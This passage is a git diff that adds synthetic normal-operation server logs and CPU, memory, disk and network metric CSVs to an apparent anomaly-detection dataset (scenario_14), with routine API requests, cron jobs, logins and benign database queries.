/api/v1/news/latest/23 status=200 OK +Aug 21 10:01:30 systemd[1]: Starting daily clean up activities... +Aug 21 10:01:30 web-app[2048]: GET /api/v1/user/profile/23 status=200 OK +Aug 21 10:01:35 web-app[2048]: GET /api/v1/news/latest/88 status=200 OK +Aug 21 10:01:40 web-app[2048]: GET /api/v1/user/profile/23 status=200 OK +Aug 21 10:01:45 web-app[2048]: GET /api/v1/user/profile/54 status=200 OK +Aug 21 10:01:50 web-app[2048]: GET /api/v1/user/profile/101 status=200 OK +Aug 21 10:01:55 web-app[2048]: GET /api/v1/user/status/12 status=200 OK +Aug 21 10:02:00 web-app[2048]: GET /api/v1/user/status/54 status=200 OK +Aug 21 10:02:05 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 10:02:05 web-app[2048]: GET /api/v1/user/status/88 status=200 OK +Aug 21 10:02:10 web-app[2048]: GET /api/v1/products/hot/23 status=200 OK +Aug 21 10:02:15 web-app[2048]: GET /api/v1/user/profile/54 status=200 OK +Aug 21 10:02:20 web-app[2048]: GET /api/v1/products/hot/101 status=200 OK +Aug 21 10:02:25 web-app[2048]: GET /api/v1/products/hot/101 status=200 OK +Aug 21 10:02:30 web-app[2048]: GET /api/v1/user/profile/101 status=200 OK +Aug 21 10:02:35 web-app[2048]: GET /api/v1/news/latest/54 status=200 OK +Aug 21 10:02:40 web-app[2048]: GET /api/v1/user/profile/12 status=200 OK +Aug 21 10:02:45 web-app[2048]: GET /api/v1/products/hot/88 status=200 OK +Aug 21 10:02:50 web-app[2048]: GET /api/v1/user/profile/23 status=200 OK +Aug 21 10:02:55 web-app[2048]: GET /api/v1/news/latest/88 status=200 OK +Aug 21 10:03:00 systemd[1]: Starting daily clean up activities... +Aug 21 10:03:00 web-app[2048]: GET /api/v1/news/latest/88 status=200 OK +Aug 21 10:03:05 web-app[2048]: GET /api/v1/news/latest/88 status=200 OK +Aug 21 10:03:10 web-app[2048]: GET /api/v1/user/status/88 status=200 OK +Aug 21 10:03:15 web-app[2048]: GET /api/v1/user/profile/12 status=200 OK +Aug 21 10:03:20 web-app[2048]: GET /api/v1/user/profile/101 status=200 OK +Aug 21 10:03:25 web-app[2048]: GET /api/v1/news/latest/54 status=200 OK +Aug 21 10:03:30 web-app[2048]: GET /api/v1/products/hot/12 status=200 OK +Aug 21 10:03:35 web-app[2048]: GET /api/v1/user/status/101 status=200 OK +Aug 21 10:03:40 web-app[2048]: GET /api/v1/news/latest/88 status=200 OK +Aug 21 10:03:45 web-app[2048]: GET /api/v1/user/profile/88 status=200 OK +Aug 21 10:03:50 web-app[2048]: GET /api/v1/user/status/12 status=200 OK +Aug 21 10:03:55 web-app[2048]: GET /api/v1/user/status/23 status=200 OK +Aug 21 10:04:00 web-app[2048]: GET /api/v1/news/latest/88 status=200 OK +Aug 21 10:04:05 web-app[2048]: GET /api/v1/user/status/54 status=200 OK +Aug 21 10:04:10 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 10:04:10 web-app[2048]: GET /api/v1/user/status/54 status=200 OK +Aug 21 10:04:15 web-app[2048]: GET /api/v1/user/status/88 status=200 OK +Aug 21 10:04:20 web-app[2048]: GET /api/v1/news/latest/12 status=200 OK +Aug 21 10:04:25 web-app[2048]: GET /api/v1/products/hot/23 status=200 OK +Aug 21 10:04:30 systemd[1]: Starting daily clean up activities... +Aug 21 10:04:30 web-app[2048]: GET /api/v1/news/latest/101 status=200 OK +Aug 21 10:04:35 web-app[2048]: GET /api/v1/user/profile/23 status=200 OK +Aug 21 10:04:40 web-app[2048]: GET /api/v1/products/hot/54 status=200 OK +Aug 21 10:04:45 web-app[2048]: GET /api/v1/user/status/54 status=200 OK +Aug 21 10:04:50 web-app[2048]: GET /api/v1/user/status/101 status=200 OK +Aug 21 10:04:55 web-app[2048]: GET /api/v1/user/profile/101 status=200 OK +Aug 21 10:05:00 web-app[2048]: GET /api/v1/user/status/54 status=200 OK +Aug 21 10:05:05 web-app[2048]: GET /api/v1/news/latest/101 status=200 OK +Aug 21 10:05:10 web-app[2048]: GET /api/v1/products/hot/12 status=200 OK +Aug 21 10:05:15 web-app[2048]: GET /api/v1/user/status/88 status=200 OK +Aug 21 10:05:20 web-app[2048]: GET /api/v1/news/latest/23 status=200 OK +Aug 21 10:05:25 web-app[2048]: GET /api/v1/user/status/23 status=200 OK +Aug 21 10:05:30 web-app[2048]: GET /api/v1/user/status/101 status=200 OK +Aug 21 10:05:35 web-app[2048]: GET /api/v1/user/status/88 status=200 OK +Aug 21 10:05:40 web-app[2048]: GET /api/v1/user/status/101 status=200 OK +Aug 21 10:05:45 web-app[2048]: GET /api/v1/user/status/54 status=200 OK +Aug 21 10:05:50 web-app[2048]: GET /api/v1/user/profile/23 status=200 OK +Aug 21 10:05:55 web-app[2048]: GET /api/v1/user/profile/101 status=200 OK +Aug 21 10:06:00 systemd[1]: Starting daily clean up activities... +Aug 21 10:06:00 web-app[2048]: GET /api/v1/products/hot/54 status=200 OK +Aug 21 10:06:05 web-app[2048]: GET /api/v1/news/latest/23 status=200 OK +Aug 21 10:06:10 web-app[2048]: GET /api/v1/user/status/101 status=200 OK +Aug 21 10:06:15 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 10:06:15 web-app[2048]: GET /api/v1/products/hot/23 status=200 OK +Aug 21 10:06:20 web-app[2048]: GET /api/v1/news/latest/54 status=200 OK +Aug 21 10:06:25 web-app[2048]: GET /api/v1/user/profile/54 status=200 OK +Aug 21 10:06:30 web-app[2048]: GET /api/v1/user/status/101 status=200 OK +Aug 21 10:06:35 web-app[2048]: GET /api/v1/products/hot/101 status=200 OK +Aug 21 10:06:40 web-app[2048]: GET /api/v1/user/profile/23 status=200 OK +Aug 21 10:06:45 web-app[2048]: GET /api/v1/user/profile/101 status=200 OK +Aug 21 10:06:50 web-app[2048]: GET /api/v1/user/profile/54 status=200 OK +Aug 21 10:06:55 web-app[2048]: GET /api/v1/news/latest/23 status=200 OK +Aug 21 10:07:00 web-app[2048]: GET /api/v1/products/hot/23 status=200 OK +Aug 21 10:07:05 web-app[2048]: GET /api/v1/user/profile/101 status=200 OK +Aug 21 10:07:10 web-app[2048]: GET /api/v1/news/latest/54 status=200 OK +Aug 21 10:07:15 web-app[2048]: GET /api/v1/news/latest/54 status=200 OK +Aug 21 10:07:20 web-app[2048]: GET /api/v1/user/profile/101 status=200 OK +Aug 21 10:07:25 web-app[2048]: GET /api/v1/user/profile/23 status=200 OK diff --git a/norm_dataset/scenario_14/norm_14_5.csv b/norm_dataset/scenario_14/norm_14_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..138d73e398affb65a019a10d50521fccc01c9998 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_5.csv @@ -0,0 +1,91 @@ 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+2025-07-02T12:07:20Z,19.003572870770576,39.711250732954674,21.12767956976023,1.045864658027313,1.0236142562682162 +2025-07-02T12:07:25Z,14.998827244526526,38.57432769698267,27.33953613342883,1.1068635384905328,1.0950900130124146 diff --git a/norm_dataset/scenario_14/norm_14_5.log b/norm_dataset/scenario_14/norm_14_5.log new file mode 100644 index 0000000000000000000000000000000000000000..486edac58506c039a6e3396e6334096c88066044 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_5.log @@ -0,0 +1,90 @@ +Jul 02 12:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:00:05 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:00:10 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:00:15 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:00:20 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:00:25 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:00:30 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:00:35 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:00:40 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:00:45 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:00:50 postgres[4567]: LOG: statement: INSERT INTO orders (user_id, item_id) VALUES (12, 56); +Jul 02 12:00:55 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:01:00 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:01:05 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:01:10 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:01:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:20 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:01:25 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:01:30 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:01:35 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:01:40 postgres[4567]: LOG: statement: INSERT INTO orders (user_id, item_id) VALUES (12, 56); +Jul 02 12:01:45 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:01:50 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:01:55 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:02:00 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:02:05 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:02:10 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:02:15 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:02:20 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:02:25 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:35 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:02:40 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:02:45 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:02:50 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:02:55 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:03:00 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:03:05 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:03:10 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:03:15 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:03:20 postgres[4567]: LOG: statement: INSERT INTO orders (user_id, item_id) VALUES (12, 56); +Jul 02 12:03:25 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:03:30 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:03:35 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:03:40 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:03:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:50 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:03:55 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:04:00 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:04:05 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:04:10 postgres[4567]: LOG: statement: SELECT * FROM users WHERE id = 12; +Jul 02 12:04:15 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:04:20 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:04:25 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:04:30 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:04:35 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:04:40 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:04:45 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:04:50 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:04:55 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:05:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:05 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:05:10 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:05:15 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:05:20 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:05:25 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:05:30 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:05:35 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:05:40 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:05:45 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:05:50 postgres[4567]: LOG: statement: SELECT * FROM items WHERE id = 34; +Jul 02 12:05:55 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:06:00 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:06:05 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:06:10 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:06:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:20 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:06:25 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:06:30 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:06:35 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:06:40 postgres[4567]: LOG: statement: INSERT INTO orders (user_id, item_id) VALUES (12, 56); +Jul 02 12:06:45 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:06:50 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:06:55 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:07:00 app[1234]: GET /api/v1/items/34 status=200 OK - cache hit +Jul 02 12:07:05 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:07:10 app[1234]: GET /api/v1/user/12 status=200 OK - cache hit +Jul 02 12:07:15 app[1234]: GET /api/v1/products/56 status=200 OK - cache hit +Jul 02 12:07:20 app[1234]: POST /api/v1/submit status=201 CREATED +Jul 02 12:07:25 app[1234]: POST /api/v1/submit status=201 CREATED diff --git a/norm_dataset/scenario_14/norm_14_6.csv b/norm_dataset/scenario_14/norm_14_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..864c9c04ac48a700fb920282f89a9cf7aaeba4ce --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cache_hits,cache_misses +2025-07-02T11:00:00Z,15.552531780042637,37.06918923736502,23.9270061768648,1.149424735124426,1.0531807389711147,986,9 +2025-07-02T11:00:01Z,11.29074384238699,41.4042108994979,21.681326234362572,1.2005165148180346,0.9080688007672914,1013,3 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a/norm_dataset/scenario_14/norm_14_6.log b/norm_dataset/scenario_14/norm_14_6.log new file mode 100644 index 0000000000000000000000000000000000000000..10d8fc968187e02de78a2de276a7cbc5a87b2c26 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_6.log @@ -0,0 +1,90 @@ +Jul 02 11:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 11:00:05 web-app[1234]: INFO Successful login for user 'user_2' +Jul 02 11:00:10 web-app[1234]: GET /api/v1/products/173 status=200 OK (cache_hit) +Jul 02 11:00:15 web-app[1234]: INFO Successful login for user 'user_3' +Jul 02 11:00:20 systemd[1]: Starting daily clean up activities... +Jul 02 11:00:25 web-app[1234]: INFO Successful login for user 'user_4' +Jul 02 11:00:30 web-app[1234]: GET /api/v1/products/126 status=200 OK (cache_hit) +Jul 02 11:00:35 web-app[1234]: GET /api/v1/products/198 status=200 OK (cache_hit) +Jul 02 11:00:40 systemd[1]: Starting daily clean up activities... +Jul 02 11:00:45 web-app[1234]: GET /api/v1/products/134 status=200 OK (cache_hit) +Jul 02 11:00:50 web-app[1234]: GET /api/v1/products/170 status=200 OK (cache_hit) +Jul 02 11:00:55 web-app[1234]: GET /api/v1/user/16 status=200 OK (cache_hit) +Jul 02 11:01:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 11:01:05 web-app[1234]: GET /api/v1/user/18 status=200 OK (cache_hit) +Jul 02 11:01:10 web-app[1234]: INFO Successful login for user 'user_3' +Jul 02 11:01:15 web-app[1234]: GET /api/v1/products/116 status=200 OK (cache_hit) +Jul 02 11:01:20 systemd[1]: Starting daily clean up activities... +Jul 02 11:01:25 web-app[1234]: INFO Successful login for user 'user_1' +Jul 02 11:01:30 web-app[1234]: GET /api/v1/user/11 status=200 OK (cache_hit) +Jul 02 11:01:35 web-app[1234]: GET /api/v1/user/17 status=200 OK (cache_hit) +Jul 02 11:01:40 CRON[5549]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:45 web-app[1234]: GET /api/v1/products/103 status=200 OK (cache_hit) +Jul 02 11:01:50 web-app[1234]: GET /api/v1/products/151 status=200 OK (cache_hit) +Jul 02 11:01:55 web-app[1234]: GET /api/v1/products/182 status=200 OK (cache_hit) +Jul 02 11:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 11:02:05 web-app[1234]: GET /api/v1/user/16 status=200 OK (cache_hit) +Jul 02 11:02:10 web-app[1234]: GET /api/v1/data/1 status=200 OK (cache_miss) +Jul 02 11:02:15 web-app[1234]: GET /api/v1/products/136 status=200 OK (cache_hit) +Jul 02 11:02:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 11:02:25 web-app[1234]: INFO Successful login for user 'user_3' +Jul 02 11:02:30 web-app[1234]: INFO Successful login for user 'user_3' +Jul 02 11:02:35 web-app[1234]: INFO Successful login for user 'user_4' +Jul 02 11:02:40 systemd[1]: Starting daily clean up activities... +Jul 02 11:02:45 web-app[1234]: GET /api/v1/user/18 status=200 OK (cache_hit) +Jul 02 11:02:50 web-app[1234]: INFO Successful login for user 'user_3' +Jul 02 11:02:55 web-app[1234]: GET /api/v1/user/17 status=200 OK (cache_hit) +Jul 02 11:03:00 systemd[1]: Starting daily clean up activities... +Jul 02 11:03:05 web-app[1234]: GET /api/v1/user/17 status=200 OK (cache_hit) +Jul 02 11:03:10 web-app[1234]: GET /api/v1/user/17 status=200 OK (cache_hit) +Jul 02 11:03:15 web-app[1234]: GET /api/v1/user/13 status=200 OK (cache_hit) +Jul 02 11:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 11:03:25 web-app[1234]: GET /api/v1/products/120 status=200 OK (cache_hit) +Jul 02 11:03:30 web-app[1234]: GET /api/v1/user/19 status=200 OK (cache_hit) +Jul 02 11:03:35 web-app[1234]: INFO Successful login for user 'user_1' +Jul 02 11:03:40 CRON[5009]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:03:45 web-app[1234]: INFO Successful login for user 'user_2' +Jul 02 11:03:50 web-app[1234]: GET /api/v1/user/12 status=200 OK (cache_hit) +Jul 02 11:03:55 web-app[1234]: INFO Successful login for user 'user_2' +Jul 02 11:04:00 CRON[5319]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:05 web-app[1234]: GET /api/v1/user/17 status=200 OK (cache_hit) +Jul 02 11:04:10 web-app[1234]: INFO Successful login for user 'user_4' +Jul 02 11:04:15 web-app[1234]: INFO Successful login for user 'user_3' +Jul 02 11:04:20 systemd[1]: Starting daily clean up activities... +Jul 02 11:04:25 web-app[1234]: GET /api/v1/user/12 status=200 OK (cache_hit) +Jul 02 11:04:30 web-app[1234]: INFO Successful login for user 'user_3' +Jul 02 11:04:35 web-app[1234]: INFO Successful login for user 'user_2' +Jul 02 11:04:40 CRON[5239]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:45 web-app[1234]: GET /api/v1/products/162 status=200 OK (cache_hit) +Jul 02 11:04:50 web-app[1234]: GET /api/v1/products/123 status=200 OK (cache_hit) +Jul 02 11:04:55 web-app[1234]: GET /api/v1/products/184 status=200 OK (cache_hit) +Jul 02 11:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 11:05:05 web-app[1234]: GET /api/v1/products/126 status=200 OK (cache_hit) +Jul 02 11:05:10 web-app[1234]: GET /api/v1/products/126 status=200 OK (cache_hit) +Jul 02 11:05:15 web-app[1234]: GET /api/v1/user/15 status=200 OK (cache_hit) +Jul 02 11:05:20 CRON[5244]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:05:25 web-app[1234]: INFO Successful login for user 'user_1' +Jul 02 11:05:30 web-app[1234]: INFO Successful login for user 'user_4' +Jul 02 11:05:35 web-app[1234]: GET /api/v1/user/12 status=200 OK (cache_hit) +Jul 02 11:05:40 CRON[5140]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:05:45 web-app[1234]: GET /api/v1/user/18 status=200 OK (cache_hit) +Jul 02 11:05:50 web-app[1234]: INFO Successful login for user 'user_2' +Jul 02 11:05:55 web-app[1234]: GET /api/v1/user/12 status=200 OK (cache_hit) +Jul 02 11:06:00 CRON[5656]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:05 web-app[1234]: GET /api/v1/products/125 status=200 OK (cache_hit) +Jul 02 11:06:10 web-app[1234]: GET /api/v1/products/153 status=200 OK (cache_hit) +Jul 02 11:06:15 web-app[1234]: GET /api/v1/user/11 status=200 OK (cache_hit) +Jul 02 11:06:20 CRON[5864]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:25 web-app[1234]: INFO Successful login for user 'user_3' +Jul 02 11:06:30 web-app[1234]: GET /api/v1/products/129 status=200 OK (cache_hit) +Jul 02 11:06:35 web-app[1234]: GET /api/v1/user/14 status=200 OK (cache_hit) +Jul 02 11:06:40 CRON[5557]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:45 web-app[1234]: GET /api/v1/user/19 status=200 OK (cache_hit) +Jul 02 11:06:50 web-app[1234]: INFO Successful login for user 'user_2' +Jul 02 11:06:55 web-app[1234]: GET /api/v1/user/13 status=200 OK (cache_hit) +Jul 02 11:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 11:07:05 web-app[1234]: INFO Successful login for user 'user_2' +Jul 02 11:07:10 web-app[1234]: INFO Successful login for user 'user_2' +Jul 02 11:07:15 web-app[1234]: GET /api/v1/products/176 status=200 OK (cache_hit) +Jul 02 11:07:20 systemd[1]: Starting daily clean up activities... +Jul 02 11:07:25 web-app[1234]: GET /api/v1/user/11 status=200 OK (cache_hit) diff --git a/norm_dataset/scenario_14/norm_14_7.csv b/norm_dataset/scenario_14/norm_14_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..33d4d3c90396a7b2bed5a6dabfb44dbf61e90e7d --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-17T10:00:00Z,19.27,37.73,34.17,1.02,1.23 +2025-07-17T10:00:05Z,12.93,37.28,36.5,1.33,1.19 +2025-07-17T10:00:10Z,11.84,39.41,39.94,0.82,1.23 +2025-07-17T10:00:15Z,12.51,40.59,36.3,0.99,1.11 +2025-07-17T10:00:20Z,13.56,41.31,26.33,1.31,0.89 +2025-07-17T10:00:25Z,16.64,35.44,27.53,1.14,0.86 +2025-07-17T10:00:30Z,18.56,37.67,21.78,1.34,1.28 +2025-07-17T10:00:35Z,16.25,40.74,37.23,0.96,1.16 +2025-07-17T10:00:40Z,17.38,39.35,38.8,1.37,0.85 +2025-07-17T10:00:45Z,17.73,41.07,25.17,1.08,1.02 +2025-07-17T10:00:50Z,10.15,44.62,30.58,1.31,0.84 +2025-07-17T10:00:55Z,18.88,40.83,26.24,1.05,0.92 +2025-07-17T10:01:00Z,17.06,38.41,26.05,1.39,1.24 +2025-07-17T10:01:05Z,11.32,37.98,23.53,1.35,0.74 +2025-07-17T10:01:10Z,18.11,42.43,22.75,0.94,0.71 +2025-07-17T10:01:15Z,18.41,38.11,25.16,1.36,1.12 +2025-07-17T10:01:20Z,16.82,35.54,28.27,1.45,0.77 +2025-07-17T10:01:25Z,14.17,35.29,25.11,1.47,0.72 +2025-07-17T10:01:30Z,14.66,37.92,30.65,1.33,0.84 +2025-07-17T10:01:35Z,16.05,37.66,31.22,1.03,0.88 +2025-07-17T10:01:40Z,14.12,40.18,28.91,1.33,1.06 +2025-07-17T10:01:45Z,16.81,42.07,22.57,1.31,1.05 +2025-07-17T10:01:50Z,12.27,40.27,33.16,1.49,1.19 +2025-07-17T10:01:55Z,17.11,35.75,26.32,1.35,1.26 +2025-07-17T10:02:00Z,14.73,42.86,23.95,0.88,0.9 +2025-07-17T10:02:05Z,15.94,40.49,31.11,1.03,0.84 +2025-07-17T10:02:10Z,19.98,37.34,34.58,1.21,1.24 +2025-07-17T10:02:15Z,14.76,43.69,33.09,1.11,0.73 +2025-07-17T10:02:20Z,13.25,40.42,31.21,1.22,0.99 +2025-07-17T10:02:25Z,13.8,40.77,35.3,1.4,0.83 +2025-07-17T10:02:30Z,17.04,43.52,23.64,1.41,0.93 +2025-07-17T10:02:35Z,11.64,38.2,20.19,1.44,1.16 +2025-07-17T10:02:40Z,18.04,44.57,27.96,1.02,1.25 +2025-07-17T10:02:45Z,15.77,41.49,35.72,1.21,1.14 +2025-07-17T10:02:50Z,15.95,41.67,39.17,1.44,0.76 +2025-07-17T10:02:55Z,11.53,38.09,37.4,1.43,0.73 +2025-07-17T10:03:00Z,16.97,42.23,27.95,1.33,1.26 +2025-07-17T10:03:05Z,19.29,44.84,22.24,1.19,0.95 +2025-07-17T10:03:10Z,14.93,44.75,29.69,1.41,0.8 +2025-07-17T10:03:15Z,13.22,38.07,25.91,0.83,0.9 +2025-07-17T10:03:20Z,19.06,35.71,32.84,1.44,1.05 +2025-07-17T10:03:25Z,13.99,43.75,28.71,1.13,0.95 +2025-07-17T10:03:30Z,17.4,37.54,32.05,1.47,1.13 +2025-07-17T10:03:35Z,17.41,44.67,29.33,1.4,1.05 +2025-07-17T10:03:40Z,18.84,38.75,37.11,1.12,1.25 +2025-07-17T10:03:45Z,12.88,42.25,35.76,0.86,1.19 +2025-07-17T10:03:50Z,18.89,41.44,33.48,1.11,0.84 +2025-07-17T10:03:55Z,15.71,40.27,24.63,0.93,1.0 +2025-07-17T10:04:00Z,16.36,42.61,39.61,1.5,1.14 +2025-07-17T10:04:05Z,13.52,41.12,20.36,1.35,0.97 +2025-07-17T10:04:10Z,17.51,35.32,32.76,1.06,0.83 +2025-07-17T10:04:15Z,17.33,38.23,20.12,1.26,0.77 +2025-07-17T10:04:20Z,12.46,36.93,25.1,1.0,0.88 +2025-07-17T10:04:25Z,16.35,36.98,37.14,1.02,0.94 +2025-07-17T10:04:30Z,11.02,35.58,32.0,1.27,1.07 +2025-07-17T10:04:35Z,16.24,40.81,38.32,1.16,1.16 +2025-07-17T10:04:40Z,13.92,44.72,23.22,1.32,0.7 +2025-07-17T10:04:45Z,16.94,35.29,33.55,0.98,0.92 +2025-07-17T10:04:50Z,19.29,41.03,32.99,1.1,0.78 +2025-07-17T10:04:55Z,12.93,44.06,20.02,0.85,1.06 +2025-07-17T10:05:00Z,16.06,44.16,31.89,1.49,1.27 +2025-07-17T10:05:05Z,16.1,36.76,26.23,1.01,1.25 +2025-07-17T10:05:10Z,19.86,44.43,23.1,0.9,0.92 +2025-07-17T10:05:15Z,16.75,44.79,39.57,1.32,0.74 +2025-07-17T10:05:20Z,18.88,38.47,23.48,0.84,0.97 +2025-07-17T10:05:25Z,15.73,39.98,33.6,1.05,1.19 +2025-07-17T10:05:30Z,17.08,37.08,34.23,0.84,0.71 +2025-07-17T10:05:35Z,18.11,38.31,37.94,1.49,0.98 +2025-07-17T10:05:40Z,14.75,38.42,27.37,1.24,0.74 +2025-07-17T10:05:45Z,13.59,42.67,25.33,1.12,0.89 +2025-07-17T10:05:50Z,13.79,39.93,28.43,1.29,1.0 +2025-07-17T10:05:55Z,19.3,38.85,29.56,0.84,1.17 +2025-07-17T10:06:00Z,19.19,35.19,37.34,1.35,1.23 +2025-07-17T10:06:05Z,15.52,36.38,37.19,1.5,0.96 +2025-07-17T10:06:10Z,14.23,41.28,36.86,1.32,0.71 +2025-07-17T10:06:15Z,11.98,35.49,33.03,1.25,0.94 +2025-07-17T10:06:20Z,10.59,40.07,29.54,1.41,0.96 +2025-07-17T10:06:25Z,14.72,37.72,36.18,1.49,0.73 +2025-07-17T10:06:30Z,17.44,40.37,32.11,1.43,1.2 +2025-07-17T10:06:35Z,17.59,40.78,26.94,1.46,1.1 +2025-07-17T10:06:40Z,11.55,38.23,31.26,1.12,1.0 +2025-07-17T10:06:45Z,13.36,42.67,28.45,0.95,1.13 +2025-07-17T10:06:50Z,16.86,36.22,23.23,1.29,0.87 +2025-07-17T10:06:55Z,12.68,41.65,32.28,1.01,1.08 +2025-07-17T10:07:00Z,17.75,38.4,35.17,1.29,1.06 +2025-07-17T10:07:05Z,13.86,37.49,32.83,1.44,0.94 +2025-07-17T10:07:10Z,16.66,42.54,36.52,1.24,0.81 